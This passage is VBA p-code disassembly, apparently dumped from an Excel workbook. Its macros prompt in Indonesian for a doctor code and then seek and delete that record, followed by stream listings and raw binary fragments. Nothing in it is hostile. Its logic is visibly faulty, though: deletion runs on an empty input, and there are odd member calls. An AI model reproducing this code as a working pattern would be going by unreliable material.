' 	LitStr 0x001F "Data dokter dengan kode dokter "
' 	Ld var
' 	Concat
' 	LitStr 0x0012 " tidak diketemukan"
' 	Concat
' 	ArgsCall MsgBox 0x0001
' Line #144:
' 	EndIfBlock
' Line #145:
' 	EndIfBlock
' Line #146:
' 	EndSub
' Line #147:
' Line #148:
' Line #149:
' Line #150:
' 	FuncDefn (Public Function TestResult(Match As Variant))
' Line #151:
' 	LitVarSpecial (False)
' 	St TestResult
' Line #152:
' 	Ld IsNumeric
' 	ArgsLd ci 0x0001
' 	IfBlock
' Line #153:
' 	Ld IsNumeric
' 	LitDI2 0x0000
' 	Eq
' 	IfBlock
' Line #154:
' 	LitVarSpecial (True)
' 	St TestResult
' Line #155:
' 	EndIfBlock
' Line #156:
' 	EndIfBlock
' Line #157:
' 	EndFunc
' Line #158:
' 	FuncDefn (Private Sub ExcelReturn())
' Line #159:
' 	Dim
' 	VarDefn var (As String)
' Line #160:
' 	LitStr 0x0026 "Masukan Kode dokter yang akan dihapus!"
' 	LitStr 0x000C "Hapus dokter"
' 	ArgsLd InputBox 0x0002
' 	St var
' Line #161:
' 	Ld var
' 	LitVarSpecial (Empty)
' 	Eq
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #162:
' 	Ld var
' 	LitStr 0x0000 ""
' 	Eq
' 	IfBlock
' Line #163:
' 	LitStr 0x000B "Kode_dokter"
' 	Ld Data1
' 	MemLd Recordset
' 	MemSt Index
' Line #164:
' 	LitStr 0x0001 "="
' 	Ld var
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall Seek 0x0002
' Line #165:
' 	Ld Data1
' 	MemLd Recordset
' 	MemLd NoMatch
' 	Not
' 	IfBlock
' Line #166:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall cmd_Hapus_Click 0x0000
' Line #167:
' 	Ld Data1
' 	ArgsMemCall Delete 0x0000
' Line #168:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall BOF 0x0000
' Line #169:
' 	ElseBlock
' Line #170:
' 	LitStr 0x001F "Data dokter dengan kode dokter "
' 	Ld var
' 	Concat
' 	LitStr 0x0012 " tidak diketemukan"
' 	Concat
' 	ArgsCall MsgBox 0x0001
' Line #171:
' Line #172:
' 	EndIfBlock
' Line #173:
' 	EndIfBlock
' Line #174:
' 	EndSub
' Line #175:
' Line #176:
' Line #177:
' Line #178:
' Line #179:
' Line #180:
' Line #181:
' _VBA_PROJECT_CUR/VBA/Form0 - 1172 bytes
' _VBA_PROJECT_CUR/VBA/Sheet3 - 993 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 993 bytes

H�,�
Tahoma�
\oleObject*.bin
�Label1
�xl\embeddings\oleObject1.bin�